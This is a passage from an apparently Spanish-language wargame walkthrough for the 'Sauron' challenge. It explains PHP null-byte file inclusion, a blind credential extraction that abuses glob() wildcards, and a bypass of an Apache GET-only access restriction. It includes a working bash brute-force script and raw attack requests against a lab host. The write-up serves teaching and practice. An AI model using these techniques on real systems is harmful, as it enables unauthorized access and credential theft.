adulterando los parámetros proporcionados por el usuario en busca de una malformación que nos muestre mensajes de error, o que cambie el comportamiento esperado y habitual.<br /><br />Para ello, esta ocasión en vez de hacerlo manualmente, y con el fin de aumentar lo didáctico de la explotación, vamos a usar un <a href="http://en.wikipedia.org/wiki/Fuzz_testing">Fuzzer</a>, en este caso <a href="http://www.owasp.org/index.php/Category:OWASP_JBroFuzz">JBroFuzz v0.6</a>, aunque cada cual puede usar el que guste, o prefiera. ¿Cuál es el cometido de un Fuzzer?. Básicamente probar una combinación de parámetros sobre las entradas que seleccionemos, para proporcionarnos todas las salidas que esa información produce, de tal forma que no tengamos que estar verificando a mano, cada una de las posibles entradas del aplicativo, en busca de los citados comportamientos anómalos.<br /><br />En nuestro caso el PATH sobre el que realizaremos el fuzzing, será:<br /><br /></div><ul style="text-align: justify;"><li>/_controlp/login.php?login=test&password=test&select=grey</li></ul><div style="text-align: justify;"><br />Concretamente sobre las variables “login”, “password” y “select”, a las cuales someteremos a pruebas de SQL Injection y XSS Scripting, lo cual originará aproximadamente unas 71 peticiones diferentes para estos contenidos.<br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5dS1-qJBKVhHGm2qX1IkHeCdwA5Zw0GGi4Z28DvcPwge7D2LCu0nHwwizdwbfXzSK5KFBR7nx8WFy0EEbRJVnYiBICjrkFkwoIkZQpnE_X_VUTzfhy0km17G32tpgJKMxztHP83li8DI/s1600-h/jbrofuzz.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5dS1-qJBKVhHGm2qX1IkHeCdwA5Zw0GGi4Z28DvcPwge7D2LCu0nHwwizdwbfXzSK5KFBR7nx8WFy0EEbRJVnYiBICjrkFkwoIkZQpnE_X_VUTzfhy0km17G32tpgJKMxztHP83li8DI/s320/jbrofuzz.JPG" alt="" id="BLOGGER_PHOTO_ID_5165797335876131762" border="0" /></a><br />Es momento para hacer un paréntesis. Los fuzzers, son tan productivos, o tan improductivos, como “oculto” esté el fallo de seguridad que queremos revelar. En caso de ser fallos complejos de ver, el fuzzer, por lo sistemático de su funcionamiento, nos será de ayuda. En el caso de ser errores fácilmente detectables, el fuzzer únicamente nos va a generar una cantidad ingente de información a revisar, que en el mejor de los casos nos dirá lo mismo, que podíamos haber comprobado en 10 segundos, haciéndolo a mano.<br /><br />En el caso que nos ocupa, el fuzzing, no nos devuelve nada que no podamos verificar de forma manual: la variable “select” es usada para incluir un template almacenado en disco. Cambiar este valor, provoca un fallo en el acceso al template, y nos muestra una alerta de PHP. Antes de continuar aclarar una cosa, que el fuzzer únicamente haya visto ese fallo no significa que sea el único que existe. Esto siempre hay que tenerlo presente. Las herramientas, nos ayudan a auditar, pero nunca dan verdades absolutas. Veamos la alerta.<span style="font-size:85%;"><span style="font-family:courier new;"><br /><br />Warning: include(./test.inc) [function.include]: failed to open stream: No such file or directory in /var/www/blindware/htdocs/_controlp/login.php on line 14</span><span style="font-family:courier new;"><br /><br />Warning: include() [function.include]: Failed opening './test.inc' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/blindware/htdocs/_controlp/login.php on line 14</span></span><br /><br />Como hemos dicho tenemos una lectura desde disco mediante la función INCLUDE de PHP. Esta función, por defecto, lee un fichero, de disco local, o de forma remota ( http, ftp, smb ) y lo interpreta como un fichero PHP procesando su contenido. En el caso que nos ocupa, está restringida al sistema de ficheros local, buscando el fichero “./” + nuestro valor + “.inc”. Es evidente que en el momento que no usamos valores por defecto “grey”, “blue” o “red” se produce un fallo al no encontrarse el fichero en el disco.<br /><br />Generalmente la primera verificación ante este tipo de mensajes suele ser: ¿podemos escalar directorios?. Es decir, ¿podemos salir del directorio en el que nos encontramos haciendo uso de la cadena “../” y retrocediendo en la ruta relativa?. En este caso al comprobarlo obtenemos el siguiente mensaje:<span style="font-size:85%;"><span style="font-family:courier new;"><br /><br />Hacking Attemped Detected!</span><span style="font-family:courier new;"><br /><br />Your ip 192.168.200.1 are logged</span></span><br /><br />En caso de que se nos permitiera hacerlo, podríamos estar ante una escalada de privilegios local. Puesto que sería posible hacer que la web incluyera, por ejemplo, un fichero en “../../../../../../../../../../../../tmp/prueba.inc”. Con lo cual conseguiríamos, si fuéramos usuarios de la máquina, modificar nuestros privilegios a los del usuario que ejecutase el script dentro del árbol web, o incluso siendo usuarios remotos, la posibilidad de mediante una condición de carrera de accerder a la máquina remotamente. Sin embargo, en el caso que nos ocupa no es así. Y únicamente podemos incluir ficheros dentro del directorio en el que se encuentra el script.<br /><br />Por tanto, nuestra principal posibilidad para explotar un posible fallo de seguridad, según lo visto, depende de que podamos modificar la cadena a incluir. Pasando de ser “./nuestra_entrada.inc” a “./nuestra_entrada” y permitiéndonos incluir cualquier fichero de ese directorio.<br /><br />Conseguir esta explotación efectiva depende de que la configuración de PHP permita lo que se conoce como “<a href="http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/">Null Byte Injection</a>”. Dicho de otra forma: la injección de un byte nulo en la entrada del usuario. ¿Qué conseguimos con esto? Las cadenas, en PHP, como en otros lenguajes, se delimitan con un “\0” ( Null Byte ). De esta forma, si conseguimos introducir “nuestra_entrada\0”, la cadena quedará cortada y nos desaremos de la subcadena “.inc” que coloca el aplicativo.<br /><br />La explotación de Null Byte Injections en PHP se realiza introduciendo en la cadena “% 00” al final de la entrada de usuario. Esta explotación será posible, siempre que la directiva MAGIC_QUOTES_GPC se encuentre desactivada en el fichero “php.ini”, o la cadena no sufra ningún preproceso por funciones como addslashes o urlencode. Como nota adicional, en PHP4, MAGIC_QUOTES_GPC se encontraba activo por defecto, sin embargo, en PHP5, y por motivos de rendimiento, se supone que para mejorarlo, esta directiva se encuentra desactivada en un gran número de configuraciones, quedando a merced del programador someter a las entradas de usuario a las comprobaciones pertinentes.<br /><br />Ahora nos resta probar esta teoría, intentando la inclusión del fichero “login.php”. Para ello, solicitamos la siguiente url:<br /><br /><ul><li>http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=login.php% 00<br /></li></ul><br />La cual nos confirma que es posible usar null bytes, devolviendo el siguiente mensaje:<span style="font-size:85%;"><span style="font-family:courier new;"><br /><br />Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 14592 bytes) in /var/www/blindware/htdocs/_controlp/login.php on line 26</span></span><br /><br />Este error, que puede parecer un poco críptico, y es muy diferente al anterior está motivado por un bucle de inclusión repetida, que lleva al proceso de PHP a consumir la memoria disponible para él (16MB). De esta forma confirmamos que es posible incluir otros ficheros, pero que lamentablemente no debemos incluir login.php sobre él mismo, puesto que cae en un bucle de inclusión repetida ( como por otra parte se podía preveer ).<br /><br />¿Qué fichero podemos incluir entonces?. Lo más razonable, sencillo y directo es hacer la inclusión sobre el propio "index.php".<br /><br /><ul><li>http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=index.php% 00<br /></li></ul><br />Una vez hecha esta petición comprobaremos en el código fuente de la página devuelta, al principio del mismo, hemos obtenido el código PHP del fichero “index.php”. <span style="font-size:85%;"><span style="font-family:courier new;"><br /></span></span><ul style="font-family:arial;"><li><span style="font-size:85%;"><?php</span></li><ul><li><span style="font-size:85%;">if (isset($_GET["select"])) {</span></li><ul><li><span style="font-size:85%;">if (!ereg('^[^./][^/]*$',$_GET["select"])) {</span></li><ul><li><span style="font-size:85%;">readfile("./grey.inc");</span></li><li><span style="font-size:85%;">include("./hacking.inc");</span></li><li><span style="font-size:85%;">exit(-1);</span></li></ul></ul></ul></ul><ul style="font-family:arial;"><ul><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">$open = $_GET["select"];</span></li><li><span style="font-size:85%;">}<br /></span></li></ul></ul></ul></ul><ul style="font-family:arial;"><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">$open = "grey";</span></li><li><span style="font-size:85%;">}<br /></span></li></ul></ul></ul><ul style="font-family:arial;"><ul><li style="font-weight: bold;"><span style="font-size:100%;"><span>readfile("./".$open.".inc");</span></span></li><li><span style="font-size:85%;">readfile("./login.inc");</span></li></ul></ul><ul style="font-family:arial;"><li><span style="font-size:85%;">?></span></li></ul><span style="font-size:100%;"><span style="font-size:100%;"><br />En negrita se ha resaltado la función que permite explotar la vulnerabilidad de lectura remota de ficheros dentro del path permitido. Si nos fijamos detenidamente la variable "$select" sufre un proceso de sanitización, en el cual se controla la inclusión de rutas como puedan ser las que contienen la '/' o el './'. Sin embargo, esta comprobación no puede chequear una inclusión de un byte nulo. Por ello, y dado que la directiva MAGIC_QUOTES_GPC está inhabilitada, se produce inclusión del fichero falicitado como parámetro a la variable "$select".<br /><br /></span></span>Aquí vamos a hacer un pequeño paréntesis. El código fuente del fichero "index.php" lo hemos obtenido desde él mismo mediante la función readfile vulnerable a lectura remota de ficheros que contiene. Dicho de otra forma, el fichero index.php ha sido incluido ( y por tanto procesado por PHP ) desde el fichero login.php, y dado que las funciones "include" interpretan código, jamás hubiésemos visto el código fuente, si en el fichero index.php no existiera una llamada a readfile en vez de a include.<br /><span style="font-size:100%;"><span style="font-size:100%;"><br />Una vez localizado el fallo que permite la lectura remota de ficheros, debemos aprovecharlo para obtener la mayor información posible sobre el escenario, en este caso, consistirá en la lectura del código fuente localizado en el fichero login.php, permitiéndonos comprender el funcionamiento del proceso de login.<br /><br /></span><ul style="font-family:georgia;"><li><span style="font-size:100%;">http://www.blindware.inc/_controlp/index.php?select=login.php% 00<br /></span></li></ul></span><ul style="font-family:arial;"><li><span style="font-size:85%;"><?php</span></li><ul><li><span style="font-size:85%;">if (isset($_GET["select"])) {</span></li><ul><li><span style="font-size:85%;">if (!ereg('^[^./][^/]*$',$_GET["select"])) {</span></li><ul><li><span style="font-size:85%;">include("./grey.inc");</span></li><li><span style="font-size:85%;">include("./hacking.inc"); </span></li><li><span style="font-size:85%;">exit(-1);</span></li></ul></ul></ul></ul><ul style="font-family:arial;"><ul><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">$open = $_GET["select"];</span></li><li><span style="font-size:85%;">}</span></li></ul></ul></ul></ul><ul style="font-family:arial;"><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">$open = "grey";</span></li><li><span style="font-size:85%;">}</span></li></ul></ul></ul><ul style="font-family:arial;"><ul><li><span style="font-size:85%;">include("./".$open.".inc");</span></li></ul></ul><ul style="font-family:arial;"><ul><li><span style="font-size:85%;">if (isset($_GET["login"]) || isset($_GET["password"])) {<span style="font-weight: bold;"></span></span></li><ul><li><span style="font-size:100%;"><span style="font-weight: bold;"></span></span><span style="font-weight: bold;font-size:100%;" >$dir = glob($_GET["login"] . "_" . $_GET["password"]);</span></li><ul><li><span style="font-size:85%;">if (!empty($dir)) {</span></li><ul><li><span style="font-size:85%;">if ($dir[0] == $_GET["login"] . "_" . $_GET["password"]) {</span></li><ul><li><span style="font-size:85%;">$pwd = $_GET["login"] . "_" . $_GET["password"];</span></li><li><span style="font-size:85%;">$RPL_MYSQL = $pwd . "/myadmin/";</span></li><li><span style="font-size:85%;">$RPL_SYSINFO = $pwd . "/phpsysinfo/";</span></li><li><span style="font-size:85%;">$RPL_SETTINGS= $pwd . "/update/";</span></li><li><span style="font-size:85%;">$RPL_STATS = $pwd . "/stats/";</span></li><li><span style="font-size:85%;">include("./access.inc");</span></li></ul></ul></ul></ul></ul></ul><ul style="font-family:arial;"><ul><ul><ul><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">include("./hacking.inc");</span></li><li><span style="font-size:85%;">}<br /></span></li></ul></ul></ul></ul></ul></ul><ul style="font-family:arial;"><ul><ul><ul><li><span style="font-size:85%;">} else {</span></li><ul><li><span style="font-size:85%;">include("./access-failed.inc");</span></li><li><span style="font-size:85%;">}</span></li><li><span style="font-size:85%;">}</span></li></ul></ul></ul></ul></ul><ul style="font-family:arial;"><li><span style="font-size:85%;">?></span></li></ul><span style="font-size:100%;"><span style="font-family:courier new;"><br /></span></span><span style=";font-family:georgia;font-size:100%;" >El proceso de login, como se advertía al principio de la entrada, requiere de algo de ingenio para sobrepasarlo. A diferencia de otros procesos de login en este no existe una base de datos de usuarios central sobre la cual se haga ninguna consulta, bien sea con SQL, bien sea con LDAP. En lugar de eso, nos encontramos que los usuarios y contraseñas representan directorios del sistema con el formato "usuario_contraseña", y de esa forma, cuando un usuario elige la contraseña de forma correcta, se permite el acceso a una serie de funcionalidades mediante las variables "RPL_".<br /><br />Este mecanismo de autenticación hace uso de la función </span><span style="font-weight: bold;font-family:georgia;font-size:100%;" >glob </span><span style=";font-family:georgia;font-size:100%;" >de PHP. Esta función, consultando directamente la ayuda ofrecida por PHP podemos concluir que hace lo siguiente: </span><span style="font-style: italic;font-family:georgia;font-size:100%;" >La función glob() realiza una búsqueda por todos los nombres de ruta que coincidan con patrón de acuerdo a las reglas usadas por la función glob() de la biblioteca de C, las cuales son muy similares a las reglas usadas por intérpretes de comandos comunes. </span><span style=";font-family:georgia;font-size:100%;" ><br /><br />Aquí es donde tiene que entrar en juego el ingenio. La función glob acepta patrones de búsqueda de ficheros, es decir, que se puede hacer uso del conocido patrón "*". Si estamos en una suposición cierta, al introducir como usuario "*" y como contraseña "*" el sistema debe detectar la existencia de una ruta válida, puesto que el directorio "*_*" debe existir tanto en cuanto el * representa cualquier cadena de caracteres. Vamos a probarlo.<br /></span><br /><span style="font-size:85%;"><span style="font-family:courier new;">Hacking Attemped Detected!</span><span style="font-family:courier new;"><br /><br />Your ip 192.168.200.1 are logged</span></span><br /><br />Bien, hemos conseguido modificar el comportamiento de la aplicación. Si nos percatamos un poco más en el código fuente que hemos conseguido leer, vemos que el autor fuerza a que el directorio encontrado por la función glob, coincida con el suministrado por el usuario, y en caso de que no sea así muestra la pantalla con el mensaje de hacking. Si lo pensamos detenidamente, esto produce una condición booleana, que permite una explotación muy similar a la de un <a href="http://www.webappsec.org/projects/threat/classes/sql_injection.shtml">Blind SQL Injection</a>.<br /><br />En este tipo de explotaciones lo incial es conocer cual es la longitud de los campos: en nuestro caso usuario y contraseña. Con la sintaxis de Glob lo podemos obtener mediante el carácter “?”, de tal forma, en el usuario introduciremos una interrogación ( sustituye a cualquier carácter una vez ), y en la contraseña pondremos un “*”, de esta forma, añadiendo cada vez una "?", hasta obtener el mensaje de “Hacking ...”, conoceremos la longitud del campo usuario.<br /><br />Para conocer la longitud de la contraseña, procedemos de la misma forma, pero a la inversa, en el campo usuario, colocamos un “*”, y en el campo contraseña, iremos colocando “?”, hasta obtener la página de aviso de “Hacking ...”.<br /><br />Una vez conocida la longitud de ambos campos, sólo tenemos que ir probando el patrón “a*_*”, “b*_*” hasta obtener el aviso de "Hacking ...", y esa será la primera letra del usuario. Luego, suponiendo que sea una a, el patrón será “aa*_*”, para una vez conocido el usuario, continuar con la password. Este proceso, lo podemos hacer de forma manual, o programar un script que lo haga por nosotros.<br /><br />En este caso, hemos decidido desarrollar, buscando lo didáctico, un script, denominado blindglob que nos permite explotar este fallo, aunque dudamos seriamente de la utilidad del mismo en algún escenario ajeno al descrito. No es el código más limpio que se haya programado en bash, ni mucho menos, pero ejemplifica lo descrito en los párrafos anteriores. Para su funcionamiento necesita de la utilidad "links" y de bash.<br /><br /><span style=";font-family:courier new;font-size:85%;" >#!/bin/bash<br /><br />if [ $# -ne 2 ]<br />then<br />echo "Blindglob v0.1 BETA"<br />echo "-------------------"<br />echo "Usage: $0 url token"<br />echo ""<br />echo "<*> Tokens: _USER_ _PASS_"<br />echo "<*> Example: $0 http://domain/script?login=_USER_&password=_PASS_ Hacking"<br />exit<br />fi<br /><br />echo "Blindglob v0.1 BETA"<br />echo "-------------------"<br />echo "<*> Working ..."<br /><br />FIN="no"<br />STRBRUTE="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"<br />USERLEN=0;<br />PASSLEN=0;<br /><br /># CALCULO DE LA LONGITUD DEL CAMPO USUARIO<br />URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")<br />URL1=$(echo $URLX | cut -f1 -d"•")<br />URL2=$(echo $URLX | cut -f2 -d"•")<br />TOKEN="?"<br />until [ "$FIN" = "end" ]<br />do<br />RET=$(links -dump "$URL1$TOKEN$URL2")<br />if echo $RET | grep -q $2<br />then<br />FIN="end"<br />fi<br />TOKEN="$TOKEN?"<br />let "USERLEN=$USERLEN+1"<br />done<br />echo "<*> Longitud de usuario: $USERLEN"<br /><br /># CALCULO DE LA LONGITUD DEL CAMPO PASSWORD<br />FIN="no"<br />URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")<br />URL1=$(echo $URLX | cut -f1 -d"•")<br />URL2=$(echo $URLX | cut -f2 -d"•")<br />TOKEN="?"<br />until [ "$FIN" = "end" ]<br />do<br />RET=$(links -dump "$URL1$TOKEN$URL2")<br />if echo $RET | grep -q $2<br />then<br />FIN="end"<br />fi<br />TOKEN="$TOKEN?"<br />let "PASSLEN=$PASSLEN+1"<br />done<br />echo "<*> Longitud de contraseña: $PASSLEN"<br /><br /># CALCULO DEL USUARIO<br />FIN="no"<br />URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")<br />URL1=$(echo $URLX | cut -f1 -d"•")<br />URL2=$(echo $URLX | cut -f2 -d"•")<br />for count in $(seq 1 $USERLEN)<br />do<br />BRUTE=1<br />until [ "$FIN" = "end" ]<br />do<br />TOKEN=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)<br />RET=$(links -dump "$URL1$TOKEN*$URL2")<br />if echo $RET | grep -q $2<br />then<br />FIN="end"<br />let "BRUTE=$BRUTE-1"<br />fi<br />let "BRUTE=$BRUTE+1"<br />done<br />FIN="no"<br />USU=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)<br />done<br />echo "<*> Usuario: $USU"<br /><br /># CALCULO DEL PASSWORD<br />FIN="no"<br />URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")<br />URL1=$(echo $URLX | cut -f1 -d"•")<br />URL2=$(echo $URLX | cut -f2 -d"•")<br />for count in $(seq 1 $PASSLEN)<br />do<br />BRUTE=1<br />until [ "$FIN" = "end" ]<br />do<br />TOKEN=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)<br />RET=$(links -dump "$URL1$TOKEN*$URL2")<br />if echo $RET | grep -q $2<br />then<br />FIN="end"<br />let "BRUTE=$BRUTE-1"<br />fi<br />let "BRUTE=$BRUTE+1"<br />done<br />FIN="no"<br />PAS=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)<br />done<br />echo "<*> Contraseña: $PAS"</span><br /><br />El lanzamiento del script contra "Sauron" debe proporcionar una salida como la siguiente:<br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">Blindglob v0.1 BETA</span><o:p style="font-family: courier new;"></o:p><span style="font-family:courier new;"><br />-------------------</span><o:p style="font-family: courier new;"></o:p><span style="font-family:courier new;"><br /><*> Working ...</span><span style="font-family:courier new;"><br /><*> Longitud de usuario: 5</span><span style="font-family:courier new;"><br /><*> Longitud de contraseña: 9</span><span style="font-family:courier new;"><br /><*> Usuario: admin</span><span style="font-family:courier new;"><br /><*> Contraseña: givemeany</span><br /></span><br />De esta forma se concluye este tercer nivel habiendo superado el proceso de autenticación mediante el uso de 3 fallos combinados: la inyección de bytes nulos en cadenas, la lectura remota de ficheros, y la explotación a ciegas de la función glob.<br /><br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-61826325280476529042008-01-28T14:47:00.000+01:002008-01-28T17:06:37.487+01:00SecGame #1: Sauron - Resolución Nivel 2<div style="text-align: justify;">Saludos,<br /></div><div style="text-align: justify;"><br />el plazo de 2 semanas ha concluido y es momento de avanzar un nuevo nivel en la resolución del primero de los secgame. Éste segundo nivel sí que difiere, levemente de momento, según el nivel de dificultad en el que lo afrontemos. Aquí vamos a despejar la incógnita del nivel más sencillo, ya que en la versión compleja el procedimiento de actuación es muy similar, y el resultado una vez superado idéntico.<br /><br />Sin embargo antes de entrar en materia, sí que queremos aprovechar para hacer un inciso y dar una recomendación, válida tanto para este "pequeño" juego, como para cualquier test de intrusión que se deba acometer: es muy importante disponer de un escenario de pruebas en el que poder replicar de forma lo más fidedigna posible el escenario a atacar. Si en este caso el escenario aparentemente es Fedora con Apache 2.2.4 y PHP 5.1.6, nos será muy útil contar con un sistema propio, en el que tengamos privilegios administrativos, y esos servicios. Dicho esto, por otra parte obvio, es hora de comenzar a investigar el segundo nivel: el directorio <span style="font-weight: bold;">data/stats</span>.<br /><br />Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con <a href="https://addons.mozilla.org/es-ES/firefox/addon/966">Tamper Data</a>, con un proxy intermedio como <a href="http://www.parosproxy.org/">Paros</a>, o directamente con un <a href="http://www.vulnwatch.org/netcat/">nc</a> desde la línea de comandos, aquí usaremos esta última.<br /><br /><span style=";font-family:courier new;font-size:85%;" >> nc www.blindware.inc 80<br />GET /data/stats HTTP/1.0<br /><br />HTTP/1.1 302 Found<br />Date: Tue, 17 Jul 2007 09:56:15 GMT<br />Server: Apache/2.2.4 (Fedora)<br />Location: http://www.blindware.inc/data/error-stats.html<br />Content-Length: 312<br />Connection: close<br />Content-Type: text/html; charset=iso-8859-1</span><br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">> nc www.blindware.inc 80</span><br /><span style="font-family:courier new;">GET /data/stats/index.html HTTP/1.0</span><br /><br /><span style="font-family:courier new;">HTTP/1.1 302 Found</span><br /><span style="font-family:courier new;">Date: Tue, 17 Jul 2007 09:56:15 GMT</span><br /><span style="font-family:courier new;">Server: Apache/2.2.4 (Fedora)</span><br /><span style="font-family:courier new;">Location: http://www.blindware.inc/data/error-stats.html</span><br /><span style="font-family:courier new;">Content-Length: 312</span><br /><span style="font-family:courier new;">Connection: close</span><br /><span style="font-family:courier new;">Content-Type: text/html; charset=iso-8859-1<br /><br />> nc www.blindware.inc 80<br />GET /data/stats/ficherocualquiera HTTP/1.0<br /><br />HTTP/1.1 302 Found<br />Date: Tue, 17 Jul 2007 09:56:15 GMT<br />Server: Apache/2.2.4 (Fedora)<br />Location: http://www.blindware.inc/data/error-stats.html<br />Content-Length: 312<br />Connection: close<br />Content-Type: text/html; charset=iso-8859-1<br /></span></span><br /><span style="font-weight: bold;">Primera Idea: </span>De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html<span style="font-weight: bold;"><br /><br /></span>Visto esto, veámos que información da el "error-stats.html":<br /><br /><div style="text-align: center;font-family:courier new;"><span style="font-size:85%;">Access to "/var/www/blindware/htdocs/data/stats/" Forbidden<br /></span></div><div style="text-align: center;font-family:courier new;"><span style="font-size:85%;"><br />Your access isn't allowed to this path<br /><br />HTTP METHOD RESTRICTED TO 127.0.0.1<br /><br /></span></div>Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: <a href="http://www.google.es/search?q=access+forbidden+apache">Access Forbidden Apache</a>. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:<br /><br /><ul><li>Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.</li></ul><ul><li>Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.</li></ul><br />Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.<br /><br />Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al <a href="http://httpd.apache.org/docs/2.0/howto/auth.html">howto</a> para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:<br /><p class="MsoNormal" style="text-align: justify;"><span style="font-size:85%;"><code><span lang="EN-GB">Order deny,allow</span></code></span><span lang="EN-GB" style="font-size:85%;"><br /><code>Deny from all</code><br /><code>Allow from W.X.Y.Z</code></span><var><span lang="EN-GB" style="font-size:10;"><o:p></o:p></span></var></p> <span style="font-weight: bold;">Segunda Idea: </span>de lo anterior podemos inducir que bien una cláusula <directory> bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:<br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">ErrorDocument 403 http://www.blindware.inc/data/error-stats.html</span><br /><span style="font-family:courier new;">Order deny,allow</span><br /><span style="font-family:courier new;">Deny from all</span><br /><span style="font-family:courier new;">Allow from 127.0.0.1</span><br /></span><br />La primera línea es la que marca la redirección al fichero "error-stats.html" en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula "Deny from all" deniega el acceso a todos los usuarios menos a los autorizados por una cláusula "Allow" que en este caso serán los provenientes de 127.0.0.1 (localhost).<br /><br />Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: <a href="http://www.google.es/search?q=apache+access+bypass">apache access bypass</a>, <a href="http://www.google.es/search?q=htaccess+bypass">htaccess bypass</a>, o <a href="http://www.google.es/search?q=apache+access+weakness">apache access weakness</a>.<br /><br />Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (<a href="http://www.securityfocus.com/bid/24759,%20http://osvdb.org/displayvuln.php?osvdb_id=11249">R1</a>, <a href="http://www.securityfocus.com/bid/24759">R2</a>, <a href="http://www.computec.ch/projekte/atk/plugins/pluginslist/Apache%20prior%202.0.49%20htaccess%20LIMIT%20directive%20bypass.plugin.html">R3</a> y <a href="http://www.securityfocus.com/bid/9874">R4</a>).<br /><br />De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:<br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">ErrorDocument 403 http://www.blindware.inc/data/error-stats.html</span><br /><span style="font-family:courier new;"><limit></limit></span><LIMIT GET><br /><span style="font-family:courier new;"> Order deny,allow</span><br /><span style="font-family:courier new;"> Deny from all</span><br /><span style="font-family:courier new;"> Allow from 127.0.0.1</span><br /></span></directory><span style="font-size:85%;"></LIMIT></span><br /><br />Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.<br /><br /><span style="font-size:85%;"><span style="font-family:courier new;">> nc www.blindware.inc 80<br />OPTIONS /data/stats/ HTTP/1.0<br /><br />HTTP/1.1 200 OK<br />Date: Tue, 17 Jul 2007 12:29:51 GMT<br />Server: Apache/2.2.4 (Fedora)<br />Allow: GET,HEAD,POST,OPTIONS,TRACE<br />Content-Length: 0<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br />> nc www.blindware.inc 80<br />TRACE /data/stats/ HTTP/1.0<br /><br />HTTP/1.1 200 OK<br />Date: Tue, 17 Jul 2007 12:30:19 GMT<br />Server: Apache/2.2.4 (Fedora)<br />Connection: close<br />Content-Type: message/http<br /><br />TRACE /data/stats/ HTTP/1.0<br /><br />> nc www.blindware.inc 80<br />PUT /data/stats/ HTTP/1.0<br /><br />HTTP/1.1 405 Method Not Allowed<br />Date: Tue, 17 Jul 2007 12:30:49 GMT<br />Server: Apache/2.2.4 (Fedora)<br />Allow: GET,HEAD,POST,OPTIONS,TRACE<br />Content-Length: 324<br />Connection: close<br />Content-Type: text/html; charset=iso-8859-1<br /><br /></span></span>Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.<br /><br />La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero "index.html" debemos hacer uso del método POST.<br /><span 